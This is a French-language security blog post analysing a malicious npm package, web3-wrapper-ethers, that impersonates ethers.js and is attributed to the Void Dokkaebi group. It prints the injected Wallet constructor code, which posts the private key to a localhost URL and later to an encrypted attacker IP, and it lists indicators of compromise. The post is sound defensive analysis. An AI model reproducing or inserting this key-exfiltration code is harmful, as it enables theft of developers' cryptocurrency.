La semaine dernière, notre pipeline d'analyse automatisée des malwares a signalé un package suspect web3-wrapper-ethers. Le package usurpe l'identité de la populaire ethers bibliothèque et contient du code obfusqué conçu pour voler des clés privées. Notre enquête a révélé que le package pourrait être associé à l'acteur de menace connu sous le nom de Void Dokkaebi, un groupe connu pour voler des cryptomonnaies aux développeurs impliqués dans le développement des technologies web3, blockchain et cryptomonnaies.
Le package
Le package a été initialement publié le 5 juin à 00h45 GMT+0 :

Nous voyons des signes révélateurs que ce package est conçu pour tromper. Le nom du package est web3-wrapper-ethers, mais le champ de dépôt pointe vers le ethers.js projet sur GitHub. En effet, les attaquants ont simplement copié le dépôt et y ont apporté des modifications mineures. Ils ont publié un total de 5 versions en une journée.
L'auteur
Le package a été publié par kaufman0913, avec l'adresse e-mail correspondante de kaufman0913@gmail[.]com.

Le choix d'une image de Raiponce à très basse résolution est... intéressant. Mais ne nous attardons pas là-dessus pour l'instant.
Que fait le package ?
Pour comprendre ce que le package tente de faire, nous avons téléchargé une copie de la dernière version d'ethers et avons effectué un diff pour voir ce que les attaquants avaient modifié.
Nous avons observé que les versions 6.14.3 et 6.14.4 n'avaient aucune modification réelle du code ; elles ont simplement changé le nom du package.
Les choses commencent à changer dans la version 6.14.5, où nous constatons qu'ils ont ajouté une nouvelle dépendance dans le package.json, ajoutant node-fetch et la dépendance correspondante @types/node-fetch devDependency. Nous verrons bientôt pourquoi.
Le fichier principal que le développeur a modifié est le fichier src.ts/wallet/wallet.ts, ce qui entraîne également des modifications de lib.esm/wallet/wallet.js et lib.commonjs/wallet/wallet.js, qui sont les versions compilées correspondantes du même fichier.
Nous voyons dans 6.14.5 qu'ils ont modifié le constructeur de la classe, en ajoutant tout ce qui se trouve en dessous de super() appel::
export class Wallet extends BaseWallet {
/** * Create a new wallet for the private %%key%%, optionally connected * to %%provider%%. */
constructor(key: string | SigningKey, provider?: null | Provider) {
if (typeof(key) === "string" && !key.startsWith("0x")) {
key = "0x" + key;
}
let signingKey = (typeof(key) === "string") ? new SigningKey(key): key;
super(signingKey, provider);
// Send private key to server (Node.js and browser)
const url = 'http://localhost:3000/save-key';
if (typeof window === "undefined") {
// Node.js environment: use dynamic import for node-fetch
import('node-fetch').then(module => {
const fetch = module.default;
fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ privateKey: this.privateKey })
})
.catch(() => {});
}).catch(() => {});
} else {
// Browser environment: use native fetch
fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ privateKey: this.privateKey })
})
// .then(data => console.log('Server response:', data))
.catch(() => {});
}
}
...
Nous voyons ici un signe révélateur de leur tentative d'exfiltration de clés privées. En fait, leurs commentaires indiquent très clairement qu'ils envoient la clé privée à un serveur. Mais cela pointe vers une adresse localhost. Ils le font donc en temps réel, ce qui est intéressant. Cela nous donne un aperçu de leur processus de développement.
Dans 6.14.6, le code change. Il ressemble maintenant à ceci :
// Send private key to server (Node.js and browser)
const enc = "ff47554247f2094dda55b84b7da6e6c9:fd81fc4d8379f535510c1f064549472e5a1dd26c32c1937c1e23db1b56bfb42f"
const tar = dec(enc);
console.log(tar);
if (typeof window === "undefined") {
import('node-fetch').then(module => {
const fetch = module.default;
fetch(tar, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ pk: this.privateKey })
})
.catch(() => {});
}).catch(() => {});
} else {
fetch(tar, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ pk: this.privateKey })
})
.catch(() => {});
}
Alors, qu'est-ce qui se cache derrière la variable enc chiffrée ? La voici !
http:/74.119.194[.]244/fetch
Remarquez-vous quelque chose d'étrange ? C'est une URL HTTP invalide. Il manque un / dans le protocole. Oups !
La dernière version, 6.14.7, n'introduit pas de changements significatifs. Elle supprime simplement le commentaire dans le code et le console.log. Les attaquants ont dû penser qu'ils avaient terminé, ils ont donc pu supprimer l'aveu de sa malveillance et la journalisation de débogage. Cependant, ils n'ont pas résolu le problème de l'URL toujours invalide.
Les Nord-Coréens encore à l'œuvre ?
Il y a quelques mois à peine, nous avons découvert des hackers nord-coréens tentant de voler des portefeuilles de cryptomonnaies. Ils publiaient également des versions en temps réel, déboguant leur code défectueux. Il est curieux de voir cela se reproduire, n'est-ce pas ? Au moins cette fois, la première chose qu'ils ont faite a été d'inclure node-fetch, plutôt que de se casser la tête à essayer de comprendre pourquoi leurs axios appels ne fonctionnaient pas.
Dans ce cas, nous avons une autre information, l'adresse IP. Une recherche rapide sur VirusTotal pour l'adresse IP confirme nos soupçons :

Le commentaire fait référence à :
https://documents.trendmicro.com/assets/txt/IOCs_VoidDokkaebi_2t9ScKI5.txt
https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html
Et nous constatons en effet que la liste d'IOC de TrendMicro mentionne cette IP comme étant un nœud de sortie : Activité alignée avec la RPDC, via RDP depuis des adresses IP RU. Et leurs rapports détaillés sont tout à fait en phase avec ce que nous observons dans ce package : Cibler les développeurs impliqués dans le web3/crypto, en tentant de voler des devises.
Indicateurs de compromission
Heureusement, rien n'indique que ce package aurait pu causer des dommages s'il avait été téléchargé et/ou exécuté, étant donné que le code n'était pas entièrement fonctionnel. Mais si vous avez installé le package, vérifiez le trafic vers l'adresse IP ci-dessous pour vous assurer qu'aucun dommage n'a été causé. Si vous remarquez un trafic vers cette adresse IP, supposez que vos clés crypto ont été compromises.
Package :
web3-wrapper-ethers
IP :
74.119.194[.]244
Découvrez plus de recherches d'Aikido Security ici.
Sécurisez votre logiciel dès maintenant.




